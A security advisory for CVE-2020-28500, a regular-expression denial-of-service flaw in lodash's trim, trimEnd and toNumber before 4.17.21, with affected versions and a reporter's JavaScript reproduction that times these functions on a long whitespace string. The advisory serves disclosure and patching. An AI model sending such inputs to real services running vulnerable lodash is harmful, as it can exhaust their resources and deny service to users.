GHSA-29mw-wpgm-hmr9

Regular Expression Denial of Service (ReDoS) in lodash

At a glance

Published
Updated
CVE
CVE-2020-28500
CVSS_V3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Description

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions. Steps to reproduce (provided by reporter Liyuan Chen): ```js var lo = require('lodash'); function build_blank(n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0); var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1); var time2 = Date.now(); lo.trimEnd(s); var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2); ```

Affected packages

PackageVersions
npm · lodashintroduced 4.0.0, fixed 4.17.21
npm · lodash-esintroduced 4.0.0, fixed 4.17.21
npm · lodash.trimendintroduced 4.0.0, last affected 4.5.1
npm · lodash.trimintroduced 4.0.0, last affected 4.5.1
RubyGems · lodash-railsintroduced 4.0.0, fixed 4.17.21

References

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database